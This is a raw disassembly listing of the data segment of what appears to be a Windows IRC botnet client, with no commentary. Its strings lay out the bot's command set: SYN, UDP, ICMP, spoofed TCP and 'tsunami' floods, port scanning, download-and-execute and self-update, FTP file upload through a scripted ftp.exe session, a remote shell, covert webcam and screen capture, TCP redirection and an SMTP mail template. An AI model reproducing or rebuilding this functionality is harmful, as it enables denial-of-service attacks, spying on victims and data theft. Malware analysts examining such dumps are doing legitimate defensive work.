db 2 dup(63h), 2
db 3
aFailedToStartT db '- Failed to start transfer thread, error: <%d>.',0
align 4
unk_42AFE8 db 2Dh ; - ; DATA XREF: seg000:00409220o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aSendFileSUserS db '- Send File: %s, User: %s.',0
dword_42B00C dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah
; DATA XREF: seg000:004091ACo
dd 0
unk_42B024 db 2Dh ; - ; DATA XREF: seg000:00409178o
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToStartC db ' Failed to start connection thread, error: <%d>.',0
align 4
dword_42B064 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 7325203Ah
; DATA XREF: seg000:0040911Fo
dd 2Eh
dword_42B07C dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h
; DATA XREF: seg000:loc_409076o
dd 746E6573h, 2Eh
unk_42B098 db 2Dh ; - ; DATA XREF: seg000:0040906Fo
db 3, 34h, 2
db 6Dh ; m
db 69h, 72h, 63h
db 2
db 3, 2Dh, 20h
aClientNotOpen_ db 'Client not open.',0
align 4
dword_42B0B8 dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
; DATA XREF: seg000:00409030o
dd 732520h
unk_42B0D0 db 2Dh ; - ; DATA XREF: seg000:00409028o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aErrorSendingTo db '- Error sending to remote shell.',0
align 4
asc_42B0FC: ; DATA XREF: seg000:0040900Ao
; sub_40FA29+FAo ...
dw 0Ah
unicode 0, <>,0
unk_42B100 db 2Dh ; - ; DATA XREF: seg000:00408FE0o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReadFileFailed db 'Read file failed: %s',0
align 4
unk_42B124 db 2Dh ; - ; DATA XREF: seg000:00408FCAo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReadFileComple db 'Read file complete: %s',0
align 4
unk_42B148 db 2Dh ; - ; DATA XREF: seg000:loc_408F4Fo
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aInvalidParam_0 db '- Invalid parameters for amateur video capture.',0
align 4
unk_42B188 db 2Dh ; - ; DATA XREF: seg000:loc_408F45o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aErrorWhileCapt db '- Error while capturing amateur video from webcam.',0
unk_42B1C8 db 2Dh ; - ; DATA XREF: seg000:00408F32o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aAmateurVideoSa db '- Amateur video saved to: %s.',0
align 4
aVideo db 'video',0 ; DATA XREF: seg000:loc_408EA4o
align 4
unk_42B1FC db 2Dh ; - ; DATA XREF: seg000:loc_408E91o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aInvalidParam_1 db '- Invalid parameters for webcam capture.',0
align 4
unk_42B234 db 2Dh ; - ; DATA XREF: seg000:loc_408E8Ao
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aErrorWhileCa_0 db '- Error while capturing from webcam.',0
align 4
unk_42B268 db 2Dh ; - ; DATA XREF: seg000:00408E7Ao
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aWebcamCaptureS db '- Webcam capture saved to: %s.',0
aFrame db 'frame',0 ; DATA XREF: seg000:loc_408E03o
align 4
unk_42B29C db 2Dh ; - ; DATA XREF: seg000:00408DF6o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aDriverListComp db '- Driver list complete.',0
align 4
unk_42B2C4 db 2Dh ; - ; DATA XREF: seg000:00408DC3o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aDriverDSS_ db '- Driver #%d - %s - %s.',0
align 4
aDrivers db 'drivers',0 ; DATA XREF: seg000:loc_408D76o
unk_42B2F4 db 2Dh ; - ; DATA XREF: seg000:loc_408D63o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aNoFilenameSpec db '- No filename specified for screen capture.',0
align 10h
unk_42B330 db 2Dh ; - ; DATA XREF: seg000:loc_408D5Co
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aErrorWhileCa_1 db '- Error while capturing screen.',0
align 10h
unk_42B360 db 2Dh ; - ; DATA XREF: seg000:00408D4Co
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aScreenCaptureS db '- Screen capture saved to: %s.',0
aScreen db 'screen',0 ; DATA XREF: seg000:loc_408D1Bo
align 4
dword_42B394 dd 234032Dh, 6E69616Dh, 202D0302h, 68746547h, 3A74736Fh
; DATA XREF: seg000:00408D03o
dd 2E732520h, 0
unk_42B3B0 db 2Dh ; - ; DATA XREF: seg000:loc_408CC0o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUnableToExtrac db 'Unable to extract Gethost command.',0
align 10h
unk_42B3E0 db 2Dh ; - ; DATA XREF: seg000:00408CAAo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aGethostSComman db 'Gethost: %s, Command: %s',0
align 4
unk_42B408 db 2Dh ; - ; DATA XREF: seg000:00408C07o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aAliasAddedS_ db 'Alias added: %s.',0
align 4
unk_42B428 db 2Dh ; - ; DATA XREF: seg000:00408BC7o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPrivmsgSS_ db 'Privmsg: %s: %s.',0
align 4
unk_42B448 db 2Dh ; - ; DATA XREF: seg000:00408B6Do
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aActionSS_ db 'Action: %s: %s.',0
dword_42B464 dd 234032Dh, 6E69616Dh, 202D0302h, 6C637943h, 2E65h
; DATA XREF: seg000:00408AFEo
dword_42B478 dd 54524150h, 0D732520h, 0Ah ; DATA XREF: seg000:00408AC4o
; seg000:00409625o
unk_42B484 db 2Dh ; - ; DATA XREF: seg000:00408A9Ao
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aModeChangeS db 'Mode change: %s',0
aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: seg000:00408A8Co
align 4
dword_42B4AC dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h
; DATA XREF: seg000:00408A61o
dd 25203A29h, 73h
dword_42B4C8 dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h
; DATA XREF: seg000:004089F5o
dd 203A2973h, 7325h
dword_42B4E4 dd 45444F4Dh, 732520h ; DATA XREF: seg000:0040899Do
dword_42B4EC dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh
; DATA XREF: seg000:0040896Do
dd 203A2973h, 7325h
dword_42B508 dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: seg000:004088F7o
dword_42B514 dd 0A0D7325h, 0 ; DATA XREF: seg000:004088C5o
; seg000:0040894Eo ...
dword_42B51C dd 54524150h, 732520h ; DATA XREF: seg000:0040888Co
dword_42B524 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: seg000:0040883Fo
aFailedToStartF db '- Failed to start flood thread, error: <%d>.',0
align 10h
dword_42B560 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: seg000:004087E6o
aFloodingSForSS db '- Flooding %s for %s seconds.',0
align 4
unk_42B58C db 2Dh ; - ; DATA XREF: seg000:0040876Eo
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aFailedToStar_0 db '- Failed to start flood thread, error: <%d>.',0
align 4
unk_42B5C8 db 2Dh ; - ; DATA XREF: seg000:00408715o
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0
unk_42B5FC db 2Dh ; - ; DATA XREF: seg000:loc_4086B2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aRepeatNotAllow db 'Repeat not allowed in command line: %s',0
align 10h
dword_42B630 dd 234032Dh, 6E69616Dh, 202D0302h, 65706552h, 203A7461h
; DATA XREF: seg000:00408677o
dd 7325h
dword_42B648 dd 234032Dh, 6E69616Dh, 202D0302h, 616C6544h, 2E79h
; DATA XREF: seg000:loc_4085E3o
dword_42B65C dd 25207325h, 73252073h, 73253A20h, 2 dup(0) ; DATA XREF: seg000:0040859Fo
; seg000:00408651o ...
dword_42B670 dd 234032Dh, 61647075h, 3026574h, 6F42202Dh, 44492074h
; DATA XREF: seg000:loc_408550o
dd 73756D20h, 65622074h, 66696420h, 65726566h, 7420746Eh
dd 206E6168h, 72727563h, 20746E65h, 6E6E7572h, 20676E69h
dd 636F7270h, 2E737365h, 0
dd 234032Dh, 61647075h, 3026574h
aFailedToStartD db '- Failed to start download thread, error: <%d>.',0
dd 234032Dh, 61647075h, 3026574h
aDownloadingUpd db '- Downloading update from: %s.',0
align 10h
aSS_exe db '%s%s.exe',0
align 4
dword_42B72C dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h
; DATA XREF: seg000:004083D4o
dd 7325203Ah, 0
unk_42B748 db 2Dh ; - ; DATA XREF: seg000:004083C9o
db 3, 34h, 2
db 65h ; e
db 78h, 65h, 63h
db 2
db 3, 2Dh, 20h
aCouldnTExecute db 'Couldn',27h,'t execute file.',0
align 4
unk_42B76C db 2Dh ; - ; DATA XREF: seg000:00408317o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aFailedToStartS db 'Failed to start search thread, error: <%d>.',0
unk_42B7A8 db 2Dh ; - ; DATA XREF: seg000:004082B3o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aSearchingForFi db 'Searching for file: %s in: %s.',0
align 4
unk_42B7D8 db 2Dh ; - ; DATA XREF: seg000:004092AFo
db 3, 34h, 2
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 0
db 2Dh ; -
db 3, 34h, 2
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
align 4
unk_42B808 db 2Dh ; - ; DATA XREF: seg000:loc_4081DEo
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0
align 10h
unk_42B840 db 2Dh ; - ; DATA XREF: seg000:004081BFo
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aFailedToStar_1 db 'Failed to start flood thread, error: <%d>.',0
align 4
unk_42B878 db 2Dh ; - ; DATA XREF: seg000:0040815Bo
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0
align 4
dword_42B8A4 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: seg000:004080CFo
aFailedToStar_2 db '- Failed to start clone thread, error: <%d>.',0
align 10h
dword_42B8E0 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: seg000:00408076o
aCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0
align 10h
unk_42B910 db 2Dh ; - ; DATA XREF: seg000:00407FCFo
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aFailedToStar_3 db 'Failed to start flood thread, error: <%d>.',0
align 4
unk_42B948 db 2Dh ; - ; DATA XREF: seg000:00407F73o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0
align 4
unk_42B978 db 2Dh ; - ; DATA XREF: seg000:00407ED7o
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aFailedToStar_4 db '- Failed to start flood thread, error: <%d>.',0
align 10h
unk_42B9B0 db 2Dh ; - ; DATA XREF: seg000:00407E7Bo
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0
align 10h
unk_42B9E0 db 2Dh ; - ; DATA XREF: seg000:00407DF0o
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aFailedToStar_5 db 'Failed to start flood thread, error: <%d>.',0
align 4
unk_42BA18 db 2Dh ; - ; DATA XREF: seg000:00407D94o
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0
align 4
unk_42BA54 db 2Dh ; - ; DATA XREF: seg000:00407D09o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aFailedToStar_6 db 'Failed to start transfer thread, error: <%d>.',0
align 4
unk_42BA94 db 2Dh ; - ; DATA XREF: seg000:00407CB0o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloadingUrl db 'Downloading URL: %s to: %s.',0
unk_42BAC0 db 2Dh ; - ; DATA XREF: seg000:00407BCFo
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0
align 4
unk_42BB04 db 2Dh ; - ; DATA XREF: seg000:00407B76o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42BB40 db 2Dh ; - ; DATA XREF: seg000:00407A7Do
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aPortScanStarte db 'Port scan started: %s:%d with delay: %d(ms).',0
align 4
aSSS_1 db '[%s] <%s> %s',0 ; DATA XREF: seg000:004079F9o
align 4
aSSS_2 db '[%s] * %s %s',0 ; DATA XREF: seg000:004078F7o
align 4
dword_42BB9C dd 54434101h, 204E4F49h, 17325h ; DATA XREF: seg000:00407863o
; seg000:00408B4Ao
unk_42BBA8 db 2Dh ; - ; DATA XREF: seg000:004077EDo
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStar_7 db 'Failed to start scan thread, error: <%d>.',0
align 8
unk_42BBE8 db 2Dh ; - ; DATA XREF: seg000:00407794o
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aPortScanStar_0 db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
align 4
unk_42BC38 db 2Dh ; - ; DATA XREF: seg000:004076E8o
; seg000:00407AD6o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStar_8 db 'Failed to start scan thread, error: <%d>.',0
align 10h
unk_42BC70 db 2Dh ; - ; DATA XREF: seg000:0040768Fo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aSPortScanStart db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
db 'inutes using %d threads.',0
align 4
unk_42BCD8 db 2Dh ; - ; DATA XREF: seg000:00407519o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStar_9 db 'Failed to start scan, no IP specified.',0
align 4
unk_42BD0C db 2Dh ; - ; DATA XREF: seg000:004074BCo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToSta_10 db 'Failed to start scan, port is invalid.',0
align 10h
unk_42BD40 db 2Dh ; - ; DATA XREF: seg000:loc_40739Bo
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aUploadingFileS db '- Uploading file: %s to: %s failed.',0
align 10h
unk_42BD70 db 2Dh ; - ; DATA XREF: seg000:00407394o
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aUploadingFil_0 db '- Uploading file: %s to: %s',0
align 4
aFtp_exe db 'ftp.exe',0 ; DATA XREF: seg000:0040737Bo
aSS_3 db '-s:%s',0 ; DATA XREF: seg000:00407364o
align 4
aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: seg000:00407344o
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db 'put %s',0Dh,0Ah
db 'bye',0Dh,0Ah,0
align 4
aAb db 'ab',0 ; DATA XREF: seg000:00407320o
; sub_411D74+4Eo
align 10h
aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: seg000:0040730Fo
align 10h
unk_42BDE0 db 2Dh ; - ; DATA XREF: seg000:004072B6o
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aFileNotFoundS_ db '- File not found: %s.',0
align 10h
aUpload db 'upload',0 ; DATA XREF: seg000:00407293o
align 4
unk_42BE08 db 2Dh ; - ; DATA XREF: seg000:0040725Do
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aAlreadyDScanni db 'Already %d scanning threads. Too many specified.',0
align 4
unk_42BE48 db 2Dh ; - ; DATA XREF: seg000:00407215o
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aFailedToSta_11 db '- Failed to start flood thread, error: <%d>.',0
align 10h
unk_42BE80 db 2Dh ; - ; DATA XREF: seg000:004071BCo
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
align 4
unk_42BEC8 db 2Dh ; - ; DATA XREF: seg000:0040710Eo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aMessageHasBeen db '- Message has been sent successfuly',0
align 4
unk_42BEFC db 2Dh ; - ; DATA XREF: seg000:004070DAo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aFailedToSendMe db '- Failed to send message, error <%i>.',0
align 10h
unk_42BF30 db 2Dh ; - ; DATA XREF: seg000:004070B6o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aNetsendDoesNot db '- NetSend does not work on Win9x systems',0
align 4
unk_42BF68 db 2Dh ; - ; DATA XREF: seg000:00407006o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aSendingMessage db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: seg000:00406FE9o
align 4
unk_42BFBC db 2Dh ; - ; DATA XREF: seg000:00406FBFo
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aFailedToSta_12 db 'Failed to start flood thread, error: <%d>.',0
align 8
unk_42BFF8 db 2Dh ; - ; DATA XREF: seg000:00406F66o
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
align 10h
unk_42C040 db 2Dh ; - ; DATA XREF: seg000:loc_406E96o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0
align 4
unk_42C078 db 2Dh ; - ; DATA XREF: seg000:00406E7Ao
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aFailedToSta_13 db '- Failed to start flood thread, error: <%d>.',0
align 10h
unk_42C0B0 db 2Dh ; - ; DATA XREF: seg000:00406E16o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0
align 4
aNormal db 'Normal',0 ; DATA XREF: seg000:00406E06o
align 4
aSpoofed db 'Spoofed',0 ; DATA XREF: seg000:00406DFFo
unk_42C0F4 db 2Dh ; - ; DATA XREF: seg000:00406D6Ao
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidFloodTy db '- Invalid flood type specified.',0
align 10h
aRandom_0 db 'random',0 ; DATA XREF: seg000:00406D5Ao
align 4
aAck db 'ack',0 ; DATA XREF: seg000:00406D43o
aHcon db 'hcon',0 ; DATA XREF: seg000:00406CCDo
align 4
aHttpcon db 'httpcon',0 ; DATA XREF: seg000:00406CBAo
unk_42C13C db 2Dh ; - ; DATA XREF: seg000:00406C6Bo
db 3, 34h, 2
db 65h ; e
db 6Dh, 61h, 69h
db 6Ch ; l
db 2, 3, 2Dh
aMessageSentToS db ' Message sent to %s.',0
align 10h
aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: seg000:00406BF7o
db 'mail from: <%s>',0Ah
db 'rcpt to: <%s>',0Ah
db 'data',0Ah
db 'subject: %s',0Ah
db 'from: %s',0Ah
db '%s',0Ah
db '.',0Ah,0
aEmail db 'email',0 ; DATA XREF: seg000:00406B0Co
align 4
aTcp db 'tcp',0 ; DATA XREF: seg000:00406AF5o
aTcpflood db 'tcpflood',0 ; DATA XREF: seg000:00406ADEo
align 4
aP: ; DATA XREF: seg000:00406AC7o
; seg002:0043A880o ...
unicode 0, <p>,0
aPing_0 db 'ping',0 ; DATA XREF: seg000:00406AB0o
align 10h
aPingflood db 'pingflood',0 ; DATA XREF: seg000:00406A99o
align 4
aNs db 'ns',0 ; DATA XREF: seg000:00406A82o
align 10h
aNetsend db 'netsend',0 ; DATA XREF: seg000:00406A6Bo
aU: ; DATA XREF: seg000:00406A54o
; seg002:0043A878o ...
unicode 0, <u>,0
aUdp db 'udp',0 ; DATA XREF: seg000:00406A3Do
aUdpflood db 'udpflood',0 ; DATA XREF: seg000:00406A26o
align 4
aAdfsdgsdgsc db 'adfsdgsdgsc',0 ; DATA XREF: seg000:00406A0Fo
aFofofo db 'fofofo',0 ; DATA XREF: seg000:004069F8o
align 10h
aPsc db 'psc',0 ; DATA XREF: seg000:004069E1o
aPortscan db 'portscan',0 ; DATA XREF: seg000:004069CAo
align 10h
aC_a db 'c_a',0 ; DATA XREF: seg000:004069A4o
aC_action db 'c_action',0 ; DATA XREF: seg000:0040698Do
align 10h
aC_pm db 'c_pm',0 ; DATA XREF: seg000:00406976o
align 4
aC_privmsg db 'c_privmsg',0 ; DATA XREF: seg000:0040695Fo
align 4
aSc db 'sc',0 ; DATA XREF: seg000:00406948o
align 4
aScan db 'scan',0 ; DATA XREF: seg000:00406931o
align 10h
aRd db 'rd',0 ; DATA XREF: seg000:0040691Ao
align 4
aRedirect db 'redirect',0 ; DATA XREF: seg000:00406903o
align 10h
aFalehdownl2 db 'falehdownl2',0 ; DATA XREF: seg000:004068ECo
aFalehdownl db 'falehdownl',0 ; DATA XREF: seg000:004068D5o
align 4
aWonk db 'wonk',0 ; DATA XREF: seg000:004068BEo
align 10h
aPhatwonk db 'phatwonk',0 ; DATA XREF: seg000:004068A7o
align 4
dword_42C28C dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: seg000:00406885o
aFailedToSta_14 db '- Failed to start flood thread, error: <%d>.',0
align 4
dword_42C2C8 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: seg000:00406829o
aFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn db 'skysyn',0 ; DATA XREF: seg000:004067A9o
align 10h
aSyn db 'syn',0 ; DATA XREF: seg000:00406792o
; seg000:00406D2Bo
aSynflood db 'synflood',0 ; DATA XREF: seg000:0040677Bo
align 10h
unk_42C310 db 2Dh ; - ; DATA XREF: seg000:00406759o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aFailedToSta_15 db '- Failed to start flood thread, error: <%d>.',0
align 10h
aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: seg000:00406698o
align 4
aDdos_random db 'ddos.random',0 ; DATA XREF: seg000:00406681o
; seg000:loc_412D68o
aDdos_ack db 'ddos.ack',0 ; DATA XREF: seg000:0040666Ao
; seg000:loc_412D4Co
align 4
aDdos_syn db 'ddos.syn',0 ; DATA XREF: seg000:00406653o
; seg000:00412D2Do
align 10h
aC: ; DATA XREF: seg000:0040663Co
; seg002:0043A8B0o ...
unicode 0, <c>,0
aClone_0 db 'clone',0 ; DATA XREF: seg000:00406625o
align 4
aIcmp db 'icmp',0 ; DATA XREF: seg000:004065FCo
align 4
aIcmpflood db 'icmpflood',0 ; DATA XREF: seg000:004065E5o
align 10h
aMv db 'mv',0 ; DATA XREF: seg000:004065CEo
align 4
aRename db 'rename',0 ; DATA XREF: seg000:004065B7o
align 4
aFf db 'ff',0 ; DATA XREF: seg000:004065A0o
align 10h
aFindfile db 'findfile',0 ; DATA XREF: seg000:00406589o
align 4
aE: ; DATA XREF: seg000:00406572o
; seg002:0043A868o ...
unicode 0, <e>,0
aExecute db 'execute',0 ; DATA XREF: seg000:0040655Bo
aFalehupd2 db 'falehupd2',0 ; DATA XREF: seg000:00406544o
align 4
aFalehupd db 'falehupd',0 ; DATA XREF: seg000:0040652Do
align 10h
aDe db 'de',0 ; DATA XREF: seg000:00406516o
align 4
aDelay db 'delay',0 ; DATA XREF: seg000:004064FFo
align 4
aRp db 'rp',0 ; DATA XREF: seg000:004064E8o
align 10h
aRepeat db 'repeat',0 ; DATA XREF: seg000:004064D1o
; seg000:00408624o
align 4
aTsn db 'tsn',0 ; DATA XREF: seg000:004064BAo
aTsunami db 'tsunami',0 ; DATA XREF: seg000:004064A3o
aT3 db 't3',0 ; DATA XREF: seg000:0040648Co
align 4
aTarga3 db 'targa3',0 ; DATA XREF: seg000:00406475o
align 10h
aC_p db 'c_p',0 ; DATA XREF: seg000:0040645Eo
aC_part db 'c_part',0 ; DATA XREF: seg000:00406447o
align 4
aC_j db 'c_j',0 ; DATA XREF: seg000:00406430o
aC_join db 'c_join',0 ; DATA XREF: seg000:00406419o
align 4
aC_n db 'c_n',0 ; DATA XREF: seg000:00406402o
aC_nick db 'c_nick',0 ; DATA XREF: seg000:004063EBo
align 4
aC_m db 'c_m',0 ; DATA XREF: seg000:004063D4o
aC_mode db 'c_mode',0 ; DATA XREF: seg000:004063BDo
align 10h
aC_r db 'c_r',0 ; DATA XREF: seg000:004063A6o
aC_raw db 'c_raw',0 ; DATA XREF: seg000:0040638Fo
align 4
aM: ; DATA XREF: seg000:00406378o
; seg002:0043A8C0o ...
unicode 0, <m>,0
aCy db 'cy',0 ; DATA XREF: seg000:0040634Ao
align 4
aCycle db 'cycle',0 ; DATA XREF: seg000:00406333o
align 4
aA: ; DATA XREF: seg000:0040631Co
; seg002:0043A884o
unicode 0, <a>,0
aAction db 'action',0 ; DATA XREF: seg000:00406305o
align 4
aPrivmsg_0 db 'privmsg',0 ; DATA XREF: seg000:004062D7o
aAa db 'aa',0 ; DATA XREF: seg000:004062C0o
align 4
aAddalias db 'addalias',0 ; DATA XREF: seg000:004062A9o
align 10h
aKl db 'kl',0 ; DATA XREF: seg000:00406292o
align 4
aKilllog db 'killlog',0 ; DATA XREF: seg000:0040627Bo
aGh db 'gh',0 ; DATA XREF: seg000:00406252o
align 10h
aGethost db 'gethost',0 ; DATA XREF: seg000:0040623Do
aCap db 'cap',0 ; DATA XREF: seg000:00406228o
aCapture db 'capture',0 ; DATA XREF: seg000:00406213o
unk_42C4A4 db 2Dh ; - ; DATA XREF: seg000:loc_4061FAo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aCommandUnknown db '- Command unknown.',0
unk_42C4C0 db 2Dh ; - ; DATA XREF: seg000:loc_4061F3o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aNoMessageSpeci db '- No message specified.',0
align 4
aSend db 'send',0 ; DATA XREF: seg000:004061B1o
; sub_409A01+5F0o
align 4
unk_42C4EC db 2Dh ; - ; DATA XREF: seg000:loc_4061A7o
db 3, 34h, 2
db 6Eh ; n
